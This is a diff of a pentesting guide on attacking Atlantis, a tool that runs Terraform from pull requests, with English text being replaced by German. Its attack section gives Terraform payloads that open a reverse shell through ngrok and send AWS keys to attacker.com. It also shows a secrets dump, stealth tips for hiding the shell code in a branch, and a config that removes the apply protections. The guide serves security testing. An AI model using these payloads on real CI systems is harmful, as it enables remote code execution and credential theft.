Atlantis hilft Ihnen im Grunde, Terraform aus Pull Requests von Ihrem Git-Server auszuführen.
|
||||
|
||||
.png>)
|
||||
|
||||
### Local Lab
|
||||
### Lokales Labor
|
||||
|
||||
1. Go to the **atlantis releases page** in [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) and **download** the one that suits you.
|
||||
2. Create a **personal token** (with repo access) of your **github** user
|
||||
3. Execute `./atlantis testdrive` and it will create a **demo repo** you can use to **talk to atlantis**
|
||||
1. You can access the web page in 127.0.0.1:4141
|
||||
1. Gehen Sie zur **Atlantis-Release-Seite** in [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) und **laden** Sie die passende Version herunter.
|
||||
2. Erstellen Sie ein **persönliches Token** (mit Repo-Zugriff) Ihres **GitHub**-Benutzers.
|
||||
3. Führen Sie `./atlantis testdrive` aus, und es wird ein **Demo-Repo** erstellt, das Sie verwenden können, um mit Atlantis zu **kommunizieren**.
|
||||
4. Sie können die Webseite unter 127.0.0.1:4141 aufrufen.
|
||||
|
||||
### Atlantis Access
|
||||
### Atlantis-Zugriff
|
||||
|
||||
#### Git Server Credentials
|
||||
#### Git-Server-Anmeldeinformationen
|
||||
|
||||
**Atlantis** support several git hosts such as **Github**, **Gitlab**, **Bitbucket** and **Azure DevOps**.\
|
||||
However, in order to access the repos in those platforms and perform actions, it needs to have some **privileged access granted to them** (at least write permissions).\
|
||||
[**The docs**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) encourage to create a user in these platform specifically for Atlantis, but some people might use personal accounts.
|
||||
**Atlantis** unterstützt mehrere Git-Hosts wie **Github**, **Gitlab**, **Bitbucket** und **Azure DevOps**.\
|
||||
Um jedoch auf die Repos auf diesen Plattformen zuzugreifen und Aktionen durchzuführen, muss ihm **privilegierter Zugriff gewährt werden** (mindestens Schreibberechtigungen).\
|
||||
[**Die Dokumentation**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) empfiehlt, einen Benutzer auf diesen Plattformen speziell für Atlantis zu erstellen, aber einige Personen verwenden möglicherweise persönliche Konten.
|
||||
|
||||
> [!WARNING]
|
||||
> In any case, from an attackers perspective, the **Atlantis account** is going to be one very **interesting** **to compromise**.
|
||||
> Aus der Sicht eines Angreifers wird das **Atlantis-Konto** sehr **interessant** sein, um es **zu kompromittieren**.
|
||||
|
||||
#### Webhooks
|
||||
|
||||
Atlantis uses optionally [**Webhook secrets**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) to validate that the **webhooks** it receives from your Git host are **legitimate**.
|
||||
Atlantis verwendet optional [**Webhook-Geheimnisse**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret), um zu validieren, dass die **Webhooks**, die es von Ihrem Git-Host erhält, **legitim** sind.
|
||||
|
||||
One way to confirm this would be to **allowlist requests to only come from the IPs** of your Git host but an easier way is to use a Webhook Secret.
|
||||
Eine Möglichkeit, dies zu bestätigen, wäre, **Anfragen nur von den IPs** Ihres Git-Hosts zuzulassen, aber ein einfacherer Weg ist die Verwendung eines Webhook-Geheimnisses.
|
||||
|
||||
Note that unless you use a private github or bitbucket server, you will need to expose webhook endpoints to the Internet.
|
||||
Beachten Sie, dass Sie, es sei denn, Sie verwenden einen privaten GitHub- oder Bitbucket-Server, Webhook-Endpunkte ins Internet exponieren müssen.
|
||||
|
||||
> [!WARNING]
|
||||
> Atlantis is going to be **exposing webhooks** so the git server can send it information. From an attackers perspective it would be interesting to know **if you can send it messages**.
|
||||
> Atlantis wird **Webhooks exponieren**, damit der Git-Server ihm Informationen senden kann. Aus der Sicht eines Angreifers wäre es interessant zu wissen, **ob Sie ihm Nachrichten senden können**.
|
||||
|
||||
#### Provider Credentials <a href="#provider-credentials" id="provider-credentials"></a>
|
||||
#### Anbieter-Anmeldeinformationen <a href="#provider-credentials" id="provider-credentials"></a>
|
||||
|
||||
[From the docs:](https://www.runatlantis.io/docs/provider-credentials.html)
|
||||
[Aus der Dokumentation:](https://www.runatlantis.io/docs/provider-credentials.html)
|
||||
|
||||
Atlantis runs Terraform by simply **executing `terraform plan` and `apply`** commands on the server **Atlantis is hosted on**. Just like when you run Terraform locally, Atlantis needs credentials for your specific provider.
|
||||
Atlantis führt Terraform aus, indem es einfach die **Befehle `terraform plan` und `apply`** auf dem Server **ausführt, auf dem Atlantis gehostet wird**. Genau wie bei der lokalen Ausführung von Terraform benötigt Atlantis Anmeldeinformationen für Ihren spezifischen Anbieter.
|
||||
|
||||
It's up to you how you [provide credentials](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) for your specific provider to Atlantis:
|
||||
Es liegt an Ihnen, wie Sie [Anmeldeinformationen bereitstellen](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) für Ihren spezifischen Anbieter an Atlantis:
|
||||
|
||||
- The Atlantis [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) and [AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate) have their own mechanisms for provider credentials. Read their docs.
|
||||
- If you're running Atlantis in a cloud then many clouds have ways to give cloud API access to applications running on them, ex:
|
||||
- [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Search for "EC2 Role")
|
||||
- [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference)
|
||||
- Many users set environment variables, ex. `AWS_ACCESS_KEY`, where Atlantis is running.
|
||||
- Others create the necessary config files, ex. `~/.aws/credentials`, where Atlantis is running.
|
||||
- Use the [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) to obtain provider credentials.
|
||||
- Das Atlantis [Helm-Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) und das [AWS Fargate-Modul](https://www.runatlantis.io/docs/deployment.html#aws-fargate) haben ihre eigenen Mechanismen für Anbieter-Anmeldeinformationen. Lesen Sie deren Dokumentation.
|
||||
- Wenn Sie Atlantis in einer Cloud ausführen, haben viele Clouds Möglichkeiten, Anwendungen, die auf ihnen ausgeführt werden, API-Zugriff zu gewähren, z.B.:
|
||||
- [AWS EC2-Rollen](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Suchen Sie nach "EC2-Rolle")
|
||||
- [GCE-Instanzdienstkonten](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference)
|
||||
- Viele Benutzer setzen Umgebungsvariablen, z.B. `AWS_ACCESS_KEY`, wo Atlantis ausgeführt wird.
|
||||
- Andere erstellen die erforderlichen Konfigurationsdateien, z.B. `~/.aws/credentials`, wo Atlantis ausgeführt wird.
|
||||
- Verwenden Sie den [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs), um Anbieter-Anmeldeinformationen zu erhalten.
|
||||
|
||||
> [!WARNING]
|
||||
> The **container** where **Atlantis** is **running** will highly probably **contain privileged credentials** to the providers (AWS, GCP, Github...) that Atlantis is managing via Terraform.
|
||||
> Der **Container**, in dem **Atlantis** **ausgeführt wird**, wird höchstwahrscheinlich **privilegierte Anmeldeinformationen** für die Anbieter (AWS, GCP, Github...) enthalten, die Atlantis über Terraform verwaltet.
|
||||
|
||||
#### Web Page
|
||||
#### Webseite
|
||||
|
||||
By default Atlantis will run a **web page in the port 4141 in localhost**. This page just allows you to enable/disable atlantis apply and check the plan status of the repos and unlock them (it doesn't allow to modify things, so it isn't that useful).
|
||||
Standardmäßig wird Atlantis eine **Webseite auf Port 4141 auf localhost** ausführen. Diese Seite ermöglicht es Ihnen lediglich, Atlantis apply zu aktivieren/deaktivieren und den Planstatus der Repos zu überprüfen und sie zu entsperren (sie erlaubt keine Änderungen, daher ist sie nicht sehr nützlich).
|
||||
|
||||
You probably won't find it exposed to the internet, but it looks like by default **no credentials are needed** to access it (and if they are `atlantis`:`atlantis` are the **default** ones).
|
||||
Sie werden sie wahrscheinlich nicht im Internet exponiert finden, aber es scheint, dass standardmäßig **keine Anmeldeinformationen erforderlich sind**, um darauf zuzugreifen (und wenn doch, sind `atlantis`:`atlantis` die **Standard**-Anmeldeinformationen).
|
||||
|
||||
### Server Configuration
|
||||
### Serverkonfiguration
|
||||
|
||||
Configuration to `atlantis server` can be specified via command line flags, environment variables, a config file or a mix of the three.
|
||||
Die Konfiguration für `atlantis server` kann über Befehlszeilen-Flags, Umgebungsvariablen, eine Konfigurationsdatei oder eine Mischung aus dreien angegeben werden.
|
||||
|
||||
- You can find [**here the list of flags**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) supported by Atlantis server
|
||||
- You can find [**here how to transform a config option into an env var**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables)
|
||||
- Sie finden [**hier die Liste der unterstützten Flags**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) für den Atlantis-Server.
|
||||
- Sie finden [**hier, wie man eine Konfigurationsoption in eine Umgebungsvariable umwandelt**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables).
|
||||
|
||||
Values are **chosen in this order**:
|
||||
Werte werden **in dieser Reihenfolge ausgewählt**:
|
||||
|
||||
1. Flags
|
||||
2. Environment Variables
|
||||
3. Config File
|
||||
2. Umgebungsvariablen
|
||||
3. Konfigurationsdatei
|
||||
|
||||
> [!WARNING]
|
||||
> Note that in the configuration you might find interesting values such as **tokens and passwords**.
|
||||
> Beachten Sie, dass Sie in der Konfiguration möglicherweise interessante Werte wie **Tokens und Passwörter** finden.
|
||||
|
||||
#### Repos Configuration
|
||||
#### Repo-Konfiguration
|
||||
|
||||
Some configurations affects **how the repos are managed**. However, it's possible that **each repo require different settings**, so there are ways to specify each repo. This is the priority order:
|
||||
Einige Konfigurationen beeinflussen, **wie die Repos verwaltet werden**. Es ist jedoch möglich, dass **jedes Repo unterschiedliche Einstellungen erfordert**, sodass es Möglichkeiten gibt, jedes Repo anzugeben. Dies ist die Prioritätsreihenfolge:
|
||||
|
||||
1. Repo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) file. This file can be used to specify how atlantis should treat the repo. However, by default some keys cannot be specified here without some flags allowing it.
|
||||
1. Probably required to be allowed by flags like `allowed_overrides` or `allow_custom_workflows`
|
||||
2. [**Server Side Config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): You can pass it with the flag `--repo-config` and it's a yaml configuring new settings for each repo (regexes supported)
|
||||
3. **Default** values
|
||||
1. Repo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) Datei. Diese Datei kann verwendet werden, um anzugeben, wie Atlantis das Repo behandeln soll. Standardmäßig können jedoch einige Schlüssel hier ohne bestimmte Flags, die dies erlauben, nicht angegeben werden.
|
||||
2. Wahrscheinlich erforderlich, um durch Flags wie `allowed_overrides` oder `allow_custom_workflows` erlaubt zu werden.
|
||||
3. [**Serverseitige Konfiguration**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): Sie können sie mit dem Flag `--repo-config` übergeben, und es handelt sich um eine YAML, die neue Einstellungen für jedes Repo konfiguriert (Regex wird unterstützt).
|
||||
4. **Standard**-Werte.
|
||||
|
||||
**PR Protections**
|
||||
**PR-Schutz**
|
||||
|
||||
Atlantis allows to indicate if you want the **PR** to be **`approved`** by somebody else (even if that isn't set in the branch protection) and/or be **`mergeable`** (branch protections passed) **before running apply**. From a security point of view, to set both options a recommended.
|
||||
Atlantis ermöglicht es anzugeben, ob Sie möchten, dass der **PR** von jemand anderem **`genehmigt`** wird (auch wenn dies nicht im Branch-Schutz festgelegt ist) und/oder **`mergeable`** (Branch-Schutz bestanden) **ist, bevor apply ausgeführt wird**. Aus sicherheitstechnischer Sicht ist es ratsam, beide Optionen festzulegen.
|
||||
|
||||
In case `allowed_overrides` is True, these setting can be **overwritten on each project by the `/atlantis.yml` file**.
|
||||
Falls `allowed_overrides` wahr ist, können diese Einstellungen **in jedem Projekt durch die `/atlantis.yml`-Datei überschrieben werden**.
|
||||
|
||||
**Scripts**
|
||||
**Skripte**
|
||||
|
||||
The repo config can **specify scripts** to run [**before**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_pre workflow hooks_) and [**after**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_post workflow hooks_) a **workflow is executed.**
|
||||
Die Repo-Konfiguration kann **Skripte angeben**, die [**vor**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_Pre-Workflow-Hooks_) und [**nach**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_Post-Workflow-Hooks_) einem **Workflow ausgeführt werden**.
|
||||
|
||||
There isn't any option to allow **specifying** these scripts in the **repo `/atlantis.yml`** file.
|
||||
Es gibt keine Option, um **diese Skripte** in der **Repo `/atlantis.yml`**-Datei anzugeben.
|
||||
|
||||
**Workflow**
|
||||
|
||||
In the repo config (server side config) you can [**specify a new default workflow**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow), or [**create new custom workflows**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** You can also **specify** which **repos** can **access** the **new** ones generated.\
|
||||
Then, you can allow the **atlantis.yaml** file of each repo to **specify the workflow to use.**
|
||||
In der Repo-Konfiguration (serverseitige Konfiguration) können Sie [**einen neuen Standard-Workflow angeben**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow) oder [**neue benutzerdefinierte Workflows erstellen**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** Sie können auch **angeben**, welche **Repos** auf die **neuen** generierten zugreifen können.\
|
||||
Dann können Sie die **atlantis.yaml**-Datei jedes Repos erlauben, den zu verwendenden Workflow anzugeben.
|
||||
|
||||
> [!CAUTION]
|
||||
> If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allow_custom_workflows` is set to **True**, workflows can be **specified** in the **`atlantis.yaml`** file of each repo. It's also potentially needed that **`allowed_overrides`** specifies also **`workflow`** to **override the workflow** that is going to be used.\
|
||||
> This will basically give **RCE in the Atlantis server to any user that can access that repo**.
|
||||
> Wenn das [**serverseitige Konfigurations**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) Flag `allow_custom_workflows` auf **True** gesetzt ist, können Workflows in der **`atlantis.yaml`**-Datei jedes Repos **angegeben** werden. Es könnte auch potenziell erforderlich sein, dass **`allowed_overrides`** auch **`workflow`** angibt, um den Workflow zu **überschreiben**, der verwendet werden soll.\
|
||||
> Dies würde im Grunde **RCE im Atlantis-Server für jeden Benutzer, der auf dieses Repo zugreifen kann, gewähren**.
|
||||
>
|
||||
> ```yaml
|
||||
> # atlantis.yaml
|
||||
@@ -124,21 +124,20 @@ Then, you can allow the **atlantis.yaml** file of each repo to **specify the wor
|
||||
> steps: - run: my custom apply command
|
||||
> ```
|
||||
|
||||
**Conftest Policy Checking**
|
||||
**Conftest-Policy-Überprüfung**
|
||||
|
||||
Atlantis supports running **server-side** [**conftest**](https://www.conftest.dev/) **policies** against the plan output. Common usecases for using this step include:
|
||||
Atlantis unterstützt die Ausführung von **serverseitigen** [**conftest**](https://www.conftest.dev/) **Richtlinien** gegen die Plan-Ausgabe. Häufige Anwendungsfälle für diesen Schritt sind:
|
||||
|
||||
- Denying usage of a list of modules
|
||||
- Asserting attributes of a resource at creation time
|
||||
- Catching unintentional resource deletions
|
||||
- Preventing security risks (ie. exposing secure ports to the public)
|
||||
- Verweigerung der Nutzung einer Liste von Modulen
|
||||
- Überprüfung von Attributen einer Ressource zum Zeitpunkt der Erstellung
|
||||
- Auffangen unbeabsichtigter Ressourcenlöschungen
|
||||
- Verhinderung von Sicherheitsrisiken (z.B. das Exponieren sicherer Ports für die Öffentlichkeit)
|
||||
|
||||
You can check how to configure it in [**the docs**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works).
|
||||
Sie können überprüfen, wie Sie es in [**der Dokumentation**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works) konfigurieren.
|
||||
|
||||
### Atlantis Commands
|
||||
|
||||
[**In the docs**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) you can find the options you can use to run Atlantis:
|
||||
### Atlantis-Befehle
|
||||
|
||||
[**In der Dokumentation**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) finden Sie die Optionen, die Sie verwenden können, um Atlantis auszuführen:
|
||||
```bash
|
||||
# Get help
|
||||
atlantis help
|
||||
@@ -161,94 +160,82 @@ atlantis apply [options] -- [terraform apply flags]
|
||||
## --verbose
|
||||
## You can also add extra terraform options
|
||||
```
|
||||
|
||||
### Attacks
|
||||
### Angriffe
|
||||
|
||||
> [!WARNING]
|
||||
> If during the exploitation you find this **error**: `Error: Error acquiring the state lock`
|
||||
|
||||
You can fix it by running:
|
||||
> Wenn Sie während der Ausnutzung diesen **Fehler** finden: `Error: Error acquiring the state lock`
|
||||
|
||||
Sie können es beheben, indem Sie Folgendes ausführen:
|
||||
```
|
||||
atlantis unlock #You might need to run this in a different PR
|
||||
atlantis plan -- -lock=false
|
||||
```
|
||||
#### Atlantis plan RCE - Konfigurationsänderung in neuem PR
|
||||
|
||||
#### Atlantis plan RCE - Config modification in new PR
|
||||
|
||||
If you have write access over a repository you will be able to create a new branch on it and generate a PR. If you can **execute `atlantis plan`** (or maybe it's automatically executed) **you will be able to RCE inside the Atlantis server**.
|
||||
|
||||
You can do this by making [**Atlantis load an external data source**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Just put a payload like the following in the `main.tf` file:
|
||||
Wenn Sie Schreibzugriff auf ein Repository haben, können Sie einen neuen Branch erstellen und einen PR generieren. Wenn Sie **`atlantis plan` ausführen können** (oder es möglicherweise automatisch ausgeführt wird), **werden Sie in der Lage sein, RCE innerhalb des Atlantis-Servers zu erreichen**.
|
||||
|
||||
Sie können dies tun, indem Sie [**Atlantis eine externe Datenquelle laden lassen**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Fügen Sie einfach eine Payload wie die folgende in die `main.tf`-Datei ein:
|
||||
```json
|
||||
data "external" "example" {
|
||||
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
|
||||
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
|
||||
}
|
||||
```
|
||||
|
||||
**Stealthier Attack**
|
||||
**Stealthier Angriff**
|
||||
|
||||
You can perform this attack even in a **stealthier way**, by following this suggestions:
|
||||
|
||||
- Instead of adding the rev shell directly into the terraform file, you can **load an external resource** that contains the rev shell:
|
||||
|
||||
- Statt die rev shell direkt in die terraform-Datei einzufügen, können Sie **eine externe Ressource laden**, die die rev shell enthält:
|
||||
```javascript
|
||||
module "not_rev_shell" {
|
||||
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
|
||||
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
|
||||
}
|
||||
```
|
||||
Sie können den rev shell Code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) finden.
|
||||
|
||||
You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
|
||||
- Verwenden Sie im externen Ressourcen die **ref**-Funktion, um den **terraform rev shell Code in einem Branch** innerhalb des Repos zu verbergen, etwas wie: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
|
||||
- **Stattdessen** von einem **PR zu master** zu erstellen, um Atlantis auszulösen, **erstellen Sie 2 Branches** (test1 und test2) und erstellen Sie einen **PR von einem zum anderen**. Wenn Sie den Angriff abgeschlossen haben, entfernen Sie einfach **den PR und die Branches**.
|
||||
|
||||
- In the external resource, use the **ref** feature to hide the **terraform rev shell code in a branch** inside of the repo, something like: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
|
||||
- **Instead** of creating a **PR to master** to trigger Atlantis, **create 2 branches** (test1 and test2) and create a **PR from one to the other**. When you have completed the attack, just **remove the PR and the branches**.
|
||||
|
||||
#### Atlantis plan Secrets Dump
|
||||
|
||||
You can **dump secrets used by terraform** running `atlantis plan` (`terraform plan`) by putting something like this in the terraform file:
|
||||
#### Atlantis Plan Secrets Dump
|
||||
|
||||
Sie können **Secrets, die von terraform verwendet werden**, dumpen, indem Sie `atlantis plan` (`terraform plan`) ausführen und etwas wie dies in die terraform-Datei einfügen:
|
||||
```json
|
||||
output "dotoken" {
|
||||
value = nonsensitive(var.do_token)
|
||||
value = nonsensitive(var.do_token)
|
||||
}
|
||||
```
|
||||
#### Atlantis apply RCE - Konfigurationsänderung in neuem PR
|
||||
|
||||
#### Atlantis apply RCE - Config modification in new PR
|
||||
Wenn Sie Schreibzugriff auf ein Repository haben, können Sie einen neuen Branch erstellen und einen PR generieren. Wenn Sie **`atlantis apply` ausführen können, werden Sie in der Lage sein, RCE innerhalb des Atlantis-Servers zu erreichen**.
|
||||
|
||||
If you have write access over a repository you will be able to create a new branch on it and generate a PR. If you can **execute `atlantis apply` you will be able to RCE inside the Atlantis server**.
|
||||
Sie müssen jedoch normalerweise einige Schutzmaßnahmen umgehen:
|
||||
|
||||
However, you will usually need to bypass some protections:
|
||||
|
||||
- **Mergeable**: If this protection is set in Atlantis, you can only run **`atlantis apply` if the PR is mergeable** (which means that the branch protection need to be bypassed).
|
||||
- Check potential [**branch protections bypasses**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
|
||||
- **Approved**: If this protection is set in Atlantis, some **other user must approve the PR** before you can run `atlantis apply`
|
||||
- By default you can abuse the [**Gitbot token to bypass this protection**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
|
||||
|
||||
Running **`terraform apply` on a malicious Terraform file with** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
|
||||
You just need to make sure some payload like the following ones ends in the `main.tf` file:
|
||||
- **Mergeable**: Wenn dieser Schutz in Atlantis aktiviert ist, können Sie **`atlantis apply` nur ausführen, wenn der PR mergeable ist** (was bedeutet, dass der Branch-Schutz umgangen werden muss).
|
||||
- Überprüfen Sie mögliche [**Umgehungen von Branch-Schutzmaßnahmen**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
|
||||
- **Approved**: Wenn dieser Schutz in Atlantis aktiviert ist, muss **ein anderer Benutzer den PR genehmigen**, bevor Sie `atlantis apply` ausführen können.
|
||||
- Standardmäßig können Sie das [**Gitbot-Token missbrauchen, um diesen Schutz zu umgehen**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
|
||||
|
||||
Ausführen von **`terraform apply` auf einer bösartigen Terraform-Datei mit** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
|
||||
Sie müssen nur sicherstellen, dass eine Payload wie die folgenden im `main.tf`-Datei endet:
|
||||
```json
|
||||
// Payload 1 to just steal a secret
|
||||
resource "null_resource" "secret_stealer" {
|
||||
provisioner "local-exec" {
|
||||
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
|
||||
}
|
||||
provisioner "local-exec" {
|
||||
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
|
||||
}
|
||||
}
|
||||
|
||||
// Payload 2 to get a rev shell
|
||||
resource "null_resource" "rev_shell" {
|
||||
provisioner "local-exec" {
|
||||
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
|
||||
}
|
||||
provisioner "local-exec" {
|
||||
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Follow the **suggestions from the previous technique** the perform this attack in a **stealthier way**.
|
||||
Folgen Sie den **Vorschlägen aus der vorherigen Technik**, um diesen Angriff auf eine **diskretere Weise** durchzuführen.
|
||||
|
||||
#### Terraform Param Injection
|
||||
|
||||
When running `atlantis plan` or `atlantis apply` terraform is being run under-needs, you can pass commands to terraform from atlantis commenting something like:
|
||||
|
||||
Wenn `atlantis plan` oder `atlantis apply` ausgeführt wird, wird Terraform im Hintergrund ausgeführt. Sie können Befehle an Terraform von Atlantis über Kommentare übergeben, indem Sie etwas wie Folgendes schreiben:
|
||||
```bash
|
||||
atlantis plan -- <terraform commands>
|
||||
atlantis plan -- -h #Get terraform plan help
|
||||
@@ -256,18 +243,17 @@ atlantis plan -- -h #Get terraform plan help
|
||||
atlantis apply -- <terraform commands>
|
||||
atlantis apply -- -h #Get terraform apply help
|
||||
```
|
||||
Etwas, das Sie übergeben können, sind Umgebungsvariablen, die hilfreich sein könnten, um einige Schutzmaßnahmen zu umgehen. Überprüfen Sie die Terraform-Umgebungsvariablen in [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables)
|
||||
|
||||
Something you can pass are env variables which might be helpful to bypass some protections. Check terraform env vars in [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables)
|
||||
#### Benutzerdefinierter Workflow
|
||||
|
||||
#### Custom Workflow
|
||||
|
||||
Running **malicious custom build commands** specified in an `atlantis.yaml` file. Atlantis uses the `atlantis.yaml` file from the pull request branch, **not** of `master`.\
|
||||
This possibility was mentioned in a previous section:
|
||||
Ausführen von **bösartigen benutzerdefinierten Build-Befehlen**, die in einer `atlantis.yaml`-Datei angegeben sind. Atlantis verwendet die `atlantis.yaml`-Datei aus dem Pull-Request-Zweig, **nicht** von `master`.\
|
||||
Diese Möglichkeit wurde in einem vorherigen Abschnitt erwähnt:
|
||||
|
||||
> [!CAUTION]
|
||||
> If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allow_custom_workflows` is set to **True**, workflows can be **specified** in the **`atlantis.yaml`** file of each repo. It's also potentially needed that **`allowed_overrides`** specifies also **`workflow`** to **override the workflow** that is going to be used.
|
||||
> Wenn das [**serverseitige Konfigurations**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) Flag `allow_custom_workflows` auf **True** gesetzt ist, können Workflows in der **`atlantis.yaml`**-Datei jedes Repos **spezifiziert** werden. Es könnte auch erforderlich sein, dass **`allowed_overrides`** ebenfalls **`workflow`** angibt, um den Workflow zu **überschreiben**, der verwendet werden soll.
|
||||
>
|
||||
> This will basically give **RCE in the Atlantis server to any user that can access that repo**.
|
||||
> Dies gibt im Grunde **RCE im Atlantis-Server für jeden Benutzer, der auf dieses Repo zugreifen kann**.
|
||||
>
|
||||
> ```yaml
|
||||
> # atlantis.yaml
|
||||
@@ -280,105 +266,103 @@ This possibility was mentioned in a previous section:
|
||||
> plan:
|
||||
> steps:
|
||||
> - init
|
||||
> - run: my custom plan command
|
||||
> - run: mein benutzerdefinierter Planbefehl
|
||||
> apply:
|
||||
> steps:
|
||||
> - run: my custom apply command
|
||||
> - run: mein benutzerdefinierter Anwendungsbefehl
|
||||
> ```
|
||||
|
||||
#### Bypass plan/apply protections
|
||||
|
||||
If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allowed_overrides` _has_ `apply_requirements` configured, it's possible for a repo to **modify the plan/apply protections to bypass them**.
|
||||
#### Umgehung von Plan-/Anwendungs-Schutzmaßnahmen
|
||||
|
||||
Wenn das [**serverseitige Konfigurations**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) Flag `allowed_overrides` _hat_ `apply_requirements` konfiguriert, ist es möglich, dass ein Repo die **Plan-/Anwendungs-Schutzmaßnahmen ändert, um sie zu umgehen**.
|
||||
```yaml
|
||||
repos:
|
||||
- id: /.*/
|
||||
apply_requirements: []
|
||||
- id: /.*/
|
||||
apply_requirements: []
|
||||
```
|
||||
|
||||
#### PR Hijacking
|
||||
|
||||
If someone sends **`atlantis plan/apply` comments on your valid pull requests,** it will cause terraform to run when you don't want it to.
|
||||
Wenn jemand **`atlantis plan/apply` Kommentare zu Ihren gültigen Pull-Requests sendet,** wird dies dazu führen, dass Terraform ausgeführt wird, wenn Sie es nicht möchten.
|
||||
|
||||
Moreover, if you don't have configured in the **branch protection** to ask to **reevaluate** every PR when a **new commit is pushed** to it, someone could **write malicious configs** (check previous scenarios) in the terraform config, run `atlantis plan/apply` and gain RCE.
|
||||
Darüber hinaus, wenn Sie nicht in den **Branch-Schutz** konfiguriert haben, um bei jedem **neuen Commit** zu verlangen, dass jeder PR **neu bewertet** wird, könnte jemand **bösartige Konfigurationen** (siehe vorherige Szenarien) in der Terraform-Konfiguration schreiben, `atlantis plan/apply` ausführen und RCE erlangen.
|
||||
|
||||
This is the **setting** in Github branch protections:
|
||||
Dies ist die **Einstellung** in den Github-Branch-Schutz:
|
||||
|
||||
.png>)
|
||||
|
||||
#### Webhook Secret
|
||||
|
||||
If you manage to **steal the webhook secret** used or if there **isn't any webhook secret** being used, you could **call the Atlantis webhook** and **invoke atlatis commands** directly.
|
||||
Wenn es Ihnen gelingt, das **Webhook-Secret** zu **stehlen** oder wenn **kein Webhook-Secret** verwendet wird, könnten Sie **den Atlantis-WebHook aufrufen** und **Atlantis-Befehle** direkt ausführen.
|
||||
|
||||
#### Bitbucket
|
||||
|
||||
Bitbucket Cloud does **not support webhook secrets**. This could allow attackers to **spoof requests from Bitbucket**. Ensure you are allowing only Bitbucket IPs.
|
||||
